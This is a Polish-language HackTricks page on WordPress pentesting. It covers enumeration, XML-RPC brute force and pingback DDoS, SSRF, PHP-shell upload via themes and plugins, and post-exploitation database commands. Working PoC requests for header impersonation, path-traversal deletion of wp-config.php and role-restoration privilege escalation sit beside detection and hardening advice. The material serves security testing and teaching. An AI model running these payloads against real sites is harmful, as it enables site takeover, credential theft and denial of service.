mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
719 lines
38 KiB
Markdown
719 lines
38 KiB
Markdown
# Wordpress
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Podstawowe informacje
|
||
|
||
- **Uploaded** pliki trafiają do: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||
- **Themes files can be found in /wp-content/themes/,** więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie będziesz używać tej ścieżki. Na przykład: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||
|
||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||
|
||
- W pliku **wp-config.php** możesz znaleźć hasło root do bazy danych.
|
||
- Domyślne ścieżki logowania do sprawdzenia: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||
|
||
### **Główne pliki WordPress**
|
||
|
||
- `index.php`
|
||
- `license.txt` zawiera przydatne informacje, takie jak zainstalowana wersja WordPress.
|
||
- `wp-activate.php` jest używany w procesie aktywacji przez e-mail podczas zakładania nowej strony WordPress.
|
||
- Foldery logowania (mogą być przemianowane, aby je ukryć):
|
||
- `/wp-admin/login.php`
|
||
- `/wp-admin/wp-login.php`
|
||
- `/login.php`
|
||
- `/wp-login.php`
|
||
- `xmlrpc.php` to plik reprezentujący funkcję WordPress, która umożliwia przesyłanie danych z HTTP jako mechanizmem transportu i XML jako mechanizmem kodowania. Tego typu komunikacja została zastąpiona przez WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||
- Folder `wp-content` jest głównym katalogiem, w którym przechowywane są wtyczki i motywy.
|
||
- `wp-content/uploads/` jest katalogiem, w którym przechowywane są wszystkie pliki przesłane na platformę.
|
||
- `wp-includes/` to katalog, w którym przechowywane są pliki rdzenia, takie jak certyfikaty, czcionki, pliki JavaScript i widżety.
|
||
- `wp-sitemap.xml` W wersjach WordPress 5.5 i wyższych, WordPress generuje plik sitemap XML ze wszystkimi publicznymi wpisami oraz publicznie zapytalnymi typami wpisów i taksonomiami.
|
||
|
||
**Post exploitation**
|
||
|
||
- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniania i salty oraz prefiks tabel bazy danych. Ten plik konfiguracyjny może być również użyty do włączenia trybu DEBUG, co może być pomocne przy rozwiązywaniu problemów.
|
||
|
||
### Uprawnienia użytkowników
|
||
|
||
- **Administrator**
|
||
- **Editor**: Publikuje i zarządza własnymi i cudzymi wpisami
|
||
- **Author**: Publikuje i zarządza wyłącznie własnymi wpisami
|
||
- **Contributor**: Pisze i zarządza swoimi wpisami, ale nie może ich publikować
|
||
- **Subscriber**: Przegląda wpisy i edytuje swój profil
|
||
|
||
## **Passive Enumeration**
|
||
|
||
### **Get WordPress version**
|
||
|
||
Sprawdź, czy możesz znaleźć pliki `/license.txt` lub `/readme.html`
|
||
|
||
W **kodzie źródłowym** strony (przykład z [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||
|
||
- grep
|
||
```bash
|
||
curl https://victim.com/ | grep 'content="WordPress'
|
||
```
|
||
- `meta name`
|
||
|
||
.png>)
|
||
|
||
- Pliki linków CSS
|
||
|
||
.png>)
|
||
|
||
- Pliki JavaScript
|
||
|
||
.png>)
|
||
|
||
### Pobierz wtyczki
|
||
```bash
|
||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||
```
|
||
### Pobierz motywy
|
||
```bash
|
||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||
```
|
||
### Wydobywanie wersji — ogólnie
|
||
```bash
|
||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||
|
||
```
|
||
## Aktywna enumeracja
|
||
|
||
### Wtyczki i motywy
|
||
|
||
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych wtyczek i motywów. Aby odkryć je wszystkie, będziesz musiał **aktywnie Brute Force listę wtyczek i motywów** (mamy nadzieję, że istnieją zautomatyzowane narzędzia, które zawierają te listy).
|
||
|
||
### Użytkownicy
|
||
|
||
- **ID Brute:** Uzyskujesz ważnych użytkowników z serwisu WordPress poprzez Brute Forcing ID użytkowników:
|
||
```bash
|
||
curl -s -I -X GET http://blog.example.com/?author=1
|
||
```
|
||
Jeśli odpowiedzi mają status **200** lub **30X**, oznacza to, że id jest **prawidłowe**. Jeśli odpowiedź ma status **400**, wtedy id jest **nieprawidłowe**.
|
||
|
||
- **wp-json:** Możesz również spróbować uzyskać informacje o użytkownikach, wysyłając zapytanie:
|
||
```bash
|
||
curl http://blog.example.com/wp-json/wp/v2/users
|
||
```
|
||
Kolejny endpoint `/wp-json/`, który może ujawnić pewne informacje o użytkownikach, to:
|
||
```bash
|
||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||
```
|
||
Zwróć uwagę, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali post. **Dostarczone zostaną tylko informacje o użytkownikach, którzy mają włączoną tę funkcję**.
|
||
|
||
Zwróć też uwagę, że **/wp-json/wp/v2/pages** może leak IP addresses.
|
||
|
||
- **Login username enumeration**: Podczas logowania przez **`/wp-login.php`** **komunikat** jest **inny** i wskazuje, czy **nazwa użytkownika istnieje, czy nie**.
|
||
|
||
### XML-RPC
|
||
|
||
Jeśli `xml-rpc.php` jest aktywny, możesz przeprowadzić credentials brute-force lub użyć go do przeprowadzenia DoS attacks na inne zasoby. (Możesz zautomatyzować ten proces, na przykład używając [tego](https://github.com/relarizky/wpxploit)).
|
||
|
||
Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ i wyślij to żądanie:
|
||
|
||
**Sprawdź**
|
||
```html
|
||
<methodCall>
|
||
<methodName>system.listMethods</methodName>
|
||
<params></params>
|
||
</methodCall>
|
||
```
|
||

|
||
|
||
**Credentials Bruteforce**
|
||
|
||
**`wp.getUserBlogs`**, **`wp.getCategories`** lub **`metaWeblog.getUsersBlogs`** to niektóre z metod, które mogą być użyte do brute-force credentials. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego:
|
||
```html
|
||
<methodCall>
|
||
<methodName>wp.getUsersBlogs</methodName>
|
||
<params>
|
||
<param><value>admin</value></param>
|
||
<param><value>pass</value></param>
|
||
</params>
|
||
</methodCall>
|
||
```
|
||
Komunikat _"Incorrect username or password"_ w odpowiedzi z kodem 200 powinien pojawić się, jeśli dane uwierzytelniające są nieprawidłowe.
|
||
|
||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||
|
||
.png>)
|
||
|
||
Używając prawidłowych danych uwierzytelniających możesz przesłać plik. W odpowiedzi pojawi się ścieżka ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||
```html
|
||
<?xml version='1.0' encoding='utf-8'?>
|
||
<methodCall>
|
||
<methodName>wp.uploadFile</methodName>
|
||
<params>
|
||
<param><value><string>1</string></value></param>
|
||
<param><value><string>username</string></value></param>
|
||
<param><value><string>password</string></value></param>
|
||
<param>
|
||
<value>
|
||
<struct>
|
||
<member>
|
||
<name>name</name>
|
||
<value><string>filename.jpg</string></value>
|
||
</member>
|
||
<member>
|
||
<name>type</name>
|
||
<value><string>mime/type</string></value>
|
||
</member>
|
||
<member>
|
||
<name>bits</name>
|
||
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
|
||
</member>
|
||
</struct>
|
||
</value>
|
||
</param>
|
||
</params>
|
||
</methodCall>
|
||
```
|
||
Jest też **szybszy sposób** na brute-force credentials używając **`system.multicall`**, ponieważ możesz spróbować kilku creds w tym samym żądaniu:
|
||
|
||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Omijanie 2FA**
|
||
|
||
Ta metoda jest przeznaczona dla programów, nie dla ludzi, i jest stara, więc nie obsługuje 2FA. Jeśli masz ważne creds, ale główne wejście jest chronione przez 2FA, **możesz nadużyć xmlrpc.php, aby zalogować się tymi creds, omijając 2FA**. Zwróć uwagę, że nie będziesz w stanie wykonać wszystkich akcji dostępnych przez konsolę, ale nadal możesz uzyskać RCE, jak Ippsec wyjaśnia w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||
|
||
**DDoS lub skanowanie portów**
|
||
|
||
Jeśli znajdziesz metodę _**pingback.ping**_ na liście, możesz sprawić, że Wordpress wyśle dowolne żądanie do dowolnego host/port.\
|
||
Może to posłużyć do zmuszenia **tysięcy** Wordpress **sites** do **access** jednej **location** (w ten sposób wywołując **DDoS** w tej lokalizacji), albo możesz użyć tego, aby sprawić, że **Wordpress** przeskanuje jakąś wewnętrzną **network** (możesz wskazać dowolny port).
|
||
```html
|
||
<methodCall>
|
||
<methodName>pingback.ping</methodName>
|
||
<params><param>
|
||
<value><string>http://<YOUR SERVER >:<port></string></value>
|
||
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
|
||
</value></param></params>
|
||
</methodCall>
|
||
```
|
||

|
||
|
||
Jeśli otrzymasz **faultCode** o wartości **większej** niż **0** (17), oznacza to, że port jest otwarty.
|
||
|
||
Zwróć uwagę na użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody, aby spowodować DDoS.
|
||
|
||
**DDoS**
|
||
```html
|
||
<methodCall>
|
||
<methodName>pingback.ping</methodName>
|
||
<params>
|
||
<param><value><string>http://target/</string></value></param>
|
||
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
|
||
</params>
|
||
</methodCall>
|
||
```
|
||
.png>)
|
||
|
||
### wp-cron.php DoS
|
||
|
||
Ten plik zwykle znajduje się w katalogu root strony Wordpress: **`/wp-cron.php`**\
|
||
Gdy ten plik jest **wywoływany**, wykonywane jest „ciężkie” zapytanie MySQL, więc może być użyty przez **atakujących** do **wywołania** **DoS**.\
|
||
Ponadto, domyślnie `wp-cron.php` jest wywoływany przy każdym ładowaniu strony (za każdym razem, gdy klient żąda dowolnej strony Wordpress), co przy dużym ruchu może powodować problemy (DoS).
|
||
|
||
Zaleca się wyłączenie Wp-Cron i utworzenie prawdziwego zadania cron na hoście, które będzie wykonywać potrzebne akcje w regularnych odstępach (bez powodowania problemów).
|
||
|
||
### /wp-json/oembed/1.0/proxy - SSRF
|
||
|
||
Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i strona Worpress może wykonać żądanie do Ciebie.
|
||
|
||
This is the response when it doesn't work:
|
||
|
||
.png>)
|
||
|
||
## SSRF
|
||
|
||
|
||
{{#ref}}
|
||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||
{{#endref}}
|
||
|
||
To narzędzie sprawdza, czy istnieje **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy**, i jeśli tak, próbuje je exploitować.
|
||
|
||
## Automatic Tools
|
||
```bash
|
||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||
```
|
||
## Uzyskaj dostęp przez nadpisanie jednego bitu
|
||
|
||
To bardziej ciekawostka niż prawdziwy atak. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było odwrócić 1 bit w dowolnym pliku wordpress. Tak więc można było zmienić bit na pozycji `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zamienić operację NOT (`!`) na NOP.
|
||
```php
|
||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||
return new WP_Error(
|
||
```
|
||
## **Panel RCE**
|
||
|
||
**Modyfikacja pliku php z używanego motywu (wymagane dane logowania administratora)**
|
||
|
||
Wygląd → Edytor motywu → Szablon 404 (po prawej)
|
||
|
||
Zmień zawartość na php shell:
|
||
|
||
.png>)
|
||
|
||
Wyszukaj w internecie, jak uzyskać dostęp do tej zaktualizowanej strony. W tym przypadku musisz wejść tutaj: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||
|
||
### MSF
|
||
|
||
Możesz użyć:
|
||
```bash
|
||
use exploit/unix/webapp/wp_admin_shell_upload
|
||
```
|
||
aby uzyskać sesję.
|
||
|
||
## Plugin RCE
|
||
|
||
### PHP plugin
|
||
|
||
Może być możliwe przesłanie plików .php jako plugin.\
|
||
Utwórz swój php backdoor używając na przykład:
|
||
|
||
.png>)
|
||
|
||
Następnie dodaj nowy plugin:
|
||
|
||
.png>)
|
||
|
||
Prześlij plugin i naciśnij Install Now:
|
||
|
||
.png>)
|
||
|
||
Kliknij na Procced:
|
||
|
||
.png>)
|
||
|
||
Prawdopodobnie nic się nie stanie, ale jeśli przejdziesz do Media, zobaczysz przesłany shell:
|
||
|
||
.png>)
|
||
|
||
Otwórz go i zobaczysz URL do uruchomienia reverse shell:
|
||
|
||
.png>)
|
||
|
||
### Uploading and activating malicious plugin
|
||
|
||
Ta metoda polega na zainstalowaniu malicious plugin znanego z podatności, który może zostać wykorzystany do uzyskania web shell. Proces wykonywany jest przez WordPress dashboard w następujący sposób:
|
||
|
||
1. **Plugin Acquisition**: plugin jest pobierany ze źródła takiego jak Exploit DB, na przykład [**here**](https://www.exploit-db.com/exploits/36374).
|
||
2. **Plugin Installation**:
|
||
- Przejdź do WordPress dashboard, następnie do `Dashboard > Plugins > Upload Plugin`.
|
||
- Prześlij plik zip pobranego pluginu.
|
||
3. **Plugin Activation**: Po pomyślnej instalacji plugin musi zostać aktywowany przez dashboard.
|
||
4. **Exploitation**:
|
||
- Po zainstalowaniu i aktywowaniu pluginu "reflex-gallery" można go exploitować, ponieważ jest znany z podatności.
|
||
- Framework Metasploit dostarcza exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia można uzyskać sesję meterpreter, co daje nieautoryzowany dostęp do strony.
|
||
- Należy pamiętać, że jest to tylko jedna z wielu metod wykorzystania podatności w WordPress.
|
||
|
||
Zawartość zawiera materiały wizualne przedstawiające kroki w dashboardzie WordPress dotyczące instalacji i aktywacji pluginu. Należy jednak pamiętać, że wykorzystywanie podatności w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w kontekście prawnym, takim jak penetration testing z wyraźną zgodą.
|
||
|
||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||
|
||
## From XSS to RCE
|
||
|
||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||
- _**Privilege Escalation:**_ Tworzy użytkownika w WordPress.
|
||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Prześlij swój custom plugin (backdoor) do WordPress.
|
||
- _**(RCE) Built-In Plugin Edit:**_ Edytuj wbudowane pluginy w WordPress.
|
||
- _**(RCE) Built-In Theme Edit:**_ Edytuj wbudowane motywy w WordPress.
|
||
- _**(Custom) Custom Exploits:**_ Custom Exploits dla third-party WordPress Plugins/Themes.
|
||
|
||
## Post Exploitation
|
||
|
||
Wyodrębnij nazwy użytkowników i hasła:
|
||
```bash
|
||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||
```
|
||
Zmień hasło administratora:
|
||
```bash
|
||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||
```
|
||
## Wordpress Plugins Pentest
|
||
|
||
### Powierzchnia ataku
|
||
|
||
Znajomość sposobów, w jakie wtyczka Wordpress może ujawniać funkcjonalności, jest kluczowa, aby znaleźć podatności w jej działaniu. Poniżej znajdziesz, w jaki sposób wtyczka może ujawniać funkcjonalności, oraz przykłady podatnych wtyczek w [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||
|
||
- **`wp_ajax`**
|
||
|
||
Jednym ze sposobów, w jaki wtyczka może udostępniać funkcje użytkownikom, są obsługiwacze AJAX. Mogą one zawierać błędy w logice, autoryzacji lub uwierzytelnianiu. Co więcej, często bywa tak, że te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu Wordpress nonce, które **każdy uwierzytelniony użytkownik instancji Wordpress może posiadać** (niezależnie od jego roli).
|
||
|
||
Oto funkcje, które mogą być użyte do udostępnienia funkcji w wtyczce:
|
||
```php
|
||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||
```
|
||
**Użycie `nopriv` sprawia, że endpoint jest dostępny dla wszystkich użytkowników (nawet niezalogowanych).**
|
||
|
||
> [!CAUTION]
|
||
> Ponadto, jeśli funkcja sprawdza autoryzację użytkownika tylko za pomocą funkcji `wp_verify_nonce`, ta funkcja jedynie sprawdza, czy użytkownik jest zalogowany; zazwyczaj nie sprawdza roli użytkownika. W rezultacie użytkownicy o niskich uprawnieniach mogą mieć dostęp do akcji wymagających wyższych uprawnień.
|
||
|
||
- **REST API**
|
||
|
||
Możliwe jest też wystawienie funkcji z wordpressa poprzez zarejestrowanie REST API przy użyciu funkcji `register_rest_route`:
|
||
```php
|
||
register_rest_route(
|
||
$this->namespace, '/get/', array(
|
||
'methods' => WP_REST_Server::READABLE,
|
||
'callback' => array($this, 'getData'),
|
||
'permission_callback' => '__return_true'
|
||
)
|
||
);
|
||
```
|
||
The `permission_callback` jest funkcją wywoływaną (callbackiem), która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API.
|
||
|
||
**Jeśli użyta jest wbudowana funkcja `__return_true`, po prostu pominie ona sprawdzenie uprawnień użytkownika.**
|
||
|
||
- **Bezpośredni dostęp do pliku PHP**
|
||
|
||
Oczywiście Wordpress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Jeśli wtyczka ujawnia jakąś podatną funkcjonalność, która jest wywoływana jedynie przez dostęp do pliku, będzie ona wykorzystywalna przez dowolnego użytkownika.
|
||
|
||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||
|
||
Niektóre wtyczki implementują „trusted header” skróty dla integracji wewnętrznych lub reverse proxies i następnie używają tego headera do ustawiania kontekstu bieżącego użytkownika dla żądań REST. Jeśli header nie jest kryptograficznie powiązany z żądaniem przez komponent upstream, atakujący może go sfałszować i wywołać uprzywilejowane trasy REST jako administrator.
|
||
|
||
- Wpływ: eskalacja uprawnień bez uwierzytelnienia do roli administratora poprzez utworzenie nowego administratora za pomocą core users REST route.
|
||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (wymusza ID użytkownika 1, zazwyczaj pierwsze konto administratora).
|
||
- Wyeksploatowana trasa: `POST /wp-json/wp/v2/users` z podwyższoną tablicą ról.
|
||
|
||
PoC
|
||
```http
|
||
POST /wp-json/wp/v2/users HTTP/1.1
|
||
Host: <WP HOST>
|
||
User-Agent: Mozilla/5.0
|
||
Accept: application/json
|
||
Content-Type: application/json
|
||
X-Wcpay-Platform-Checkout-User: 1
|
||
Content-Length: 114
|
||
|
||
```
|
||
Dlaczego to działa
|
||
|
||
- The plugin maps a client-controlled header to authentication state and skips capability checks.
|
||
- WordPress core expects `create_users` capability for this route; the plugin hack bypasses it by directly setting the current user context from the header.
|
||
|
||
Oczekiwane wskaźniki sukcesu
|
||
|
||
- HTTP 201 z ciałem JSON opisującym utworzonego użytkownika.
|
||
- Nowy użytkownik z uprawnieniami administratora widoczny w `wp-admin/users.php`.
|
||
|
||
Lista kontrolna wykrywania
|
||
|
||
- Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||
- Przejrzyj rejestracje REST pod kątem uprzywilejowanych callbacków, które nie mają solidnych sprawdzeń `permission_callback` i zamiast tego polegają na nagłówkach żądania.
|
||
- Szukaj użyć funkcji rdzenia do zarządzania użytkownikami (`wp_insert_user`, `wp_create_user`) wewnątrz REST handlers, które są ograniczone wyłącznie przez wartości nagłówków.
|
||
|
||
Wzmocnienie
|
||
|
||
- Nigdy nie wyprowadzaj uwierzytelnienia ani autoryzacji z nagłówków kontrolowanych przez klienta.
|
||
- Jeśli reverse proxy musi wstrzyknąć identity, zakończ zaufanie na proxy i usuń przychodzące kopie (np. `unset X-Wcpay-Platform-Checkout-User` na krawędzi), następnie przekaż podpisany token i zweryfikuj go po stronie serwera.
|
||
- Dla tras REST wykonujących uprzywilejowane akcje wymagaj sprawdzeń `current_user_can()` oraz rygorystycznego `permission_callback` (NIE używaj `__return_true`).
|
||
- Preferuj first-party auth (cookies, application passwords, OAuth) zamiast header “impersonation”.
|
||
|
||
References: see the links at the end of this page for a public case and broader analysis.
|
||
|
||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||
|
||
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
|
||
|
||
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
|
||
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
|
||
3. **Strict input sanitisation / validation**.
|
||
|
||
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
|
||
```php
|
||
function litho_remove_font_family_action_data() {
|
||
if ( empty( $_POST['fontfamily'] ) ) {
|
||
return;
|
||
}
|
||
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
|
||
$upload_dir = wp_upload_dir();
|
||
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
|
||
$filesystem = Litho_filesystem::init_filesystem();
|
||
|
||
if ( file_exists( $srcdir ) ) {
|
||
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
|
||
}
|
||
die();
|
||
}
|
||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||
```
|
||
Problemy wprowadzone przez ten fragment:
|
||
|
||
* **Unauthenticated access** – zarejestrowano hook `wp_ajax_nopriv_`.
|
||
* **No nonce / capability check** – każdy odwiedzający może wywołać endpoint.
|
||
* **No path sanitisation** – kontrolowany przez użytkownika ciąg `fontfamily` jest konkatenowany do ścieżki systemu plików bez filtrowania, co umożliwia klasyczny `../../` traversal.
|
||
|
||
#### Exploitation
|
||
|
||
Atakujący może usunąć dowolny plik lub katalog **poniżej bazowego katalogu uploads** (zwykle `<wp-root>/wp-content/uploads/`) wysyłając jedno żądanie HTTP POST:
|
||
```bash
|
||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||
-d 'action=litho_remove_font_family_action_data' \
|
||
-d 'fontfamily=../../../../wp-config.php'
|
||
```
|
||
Ponieważ `wp-config.php` znajduje się poza *uploads*, cztery sekwencje `../` wystarczą w domyślnej instalacji. Usunięcie `wp-config.php` wymusza na WordPress przejście do *kreatora instalacji* przy kolejnej wizycie, umożliwiając pełne przejęcie strony (atakujący jedynie podaje nową konfigurację DB i tworzy użytkownika admina).
|
||
|
||
Inne istotne cele to pliki plugin/theme `.php` (np. w celu wyłączenia security plugins) lub reguły `.htaccess`.
|
||
|
||
#### Lista kontrolna wykrywania
|
||
|
||
* Każde wywołanie zwrotne `add_action( 'wp_ajax_nopriv_...')`, które wywołuje funkcje pomocnicze systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itp.).
|
||
* Konkatenacja niesanitizowanych danych wejściowych użytkownika w ścieżki (szukaj `$_POST`, `$_GET`, `$_REQUEST`).
|
||
* Brak `check_ajax_referer()` oraz `current_user_can()`/`is_user_logged_in()`.
|
||
|
||
#### Zabezpieczenia
|
||
```php
|
||
function secure_remove_font_family() {
|
||
if ( ! is_user_logged_in() ) {
|
||
wp_send_json_error( 'forbidden', 403 );
|
||
}
|
||
check_ajax_referer( 'litho_fonts_nonce' );
|
||
|
||
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
|
||
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
|
||
|
||
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
|
||
wp_send_json_error( 'invalid path', 400 );
|
||
}
|
||
// … proceed …
|
||
}
|
||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
|
||
// 🔒 NO wp_ajax_nopriv_ registration
|
||
```
|
||
> [!TIP]
|
||
> **Zawsze** traktuj każdą operację zapisu/usunięcia na dysku jako uprzywilejowaną i dokładnie sprawdź:
|
||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||
|
||
---
|
||
|
||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||
|
||
Wiele wtyczek implementuje funkcję "view as role" lub tymczasowego przełączania ról, zapisując oryginalne role w user meta, aby mogły być przywrócone później. Jeśli ścieżka przywracania polega wyłącznie na parametrach żądania (np. `$_REQUEST['reset-for']`) i utrzymywanej przez wtyczkę liście, bez sprawdzenia capabilities i ważnego nonce, prowadzi to do vertical privilege escalation.
|
||
|
||
Przykład z prawdziwego świata znaleziono we wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź resetu przywracała role na podstawie `reset-for=<username>` jeśli nazwa użytkownika pojawiała się w wewnętrznej tablicy `$options['viewing_admin_as_role_are']`, ale nie wykonywała ani sprawdzenia `current_user_can()`, ani weryfikacji nonce przed usunięciem bieżących ról i ponownym dodaniem zapisanych ról z user meta `_asenha_view_admin_as_original_roles`:
|
||
```php
|
||
// Simplified vulnerable pattern
|
||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
|
||
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
|
||
|
||
if ( in_array( $reset_for_username, $usernames, true ) ) {
|
||
$u = get_user_by( 'login', $reset_for_username );
|
||
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
|
||
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
|
||
foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||
}
|
||
}
|
||
```
|
||
Dlaczego to jest podatne
|
||
|
||
- Ufa `$_REQUEST['reset-for']` i opcji pluginu bez autoryzacji po stronie serwera.
|
||
- Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w `_asenha_view_admin_as_original_roles` i został zdegradowany, może je przywrócić przez odwiedzenie reset path.
|
||
- W niektórych wdrożeniach dowolny uwierzytelniony użytkownik mógł wywołać reset dla innej nazwy użytkownika wciąż obecnej w `viewing_admin_as_role_are` (błędna autoryzacja).
|
||
|
||
Wymagania wstępne ataku
|
||
|
||
- Wrażliwa wersja pluginu z włączoną funkcją.
|
||
- Konto celu ma przestarzałą rolę o wysokich uprawnieniach zapisaną w user meta z wcześniejszego użycia.
|
||
- Dowolna uwierzytelniona sesja; brak nonce/capability w przepływie resetu.
|
||
|
||
Eksploatacja (przykład)
|
||
```bash
|
||
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
||
# hit any route that executes the role-switcher logic and include the reset parameter.
|
||
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
|
||
curl -s -k -b 'wordpress_logged_in=...' \
|
||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||
```
|
||
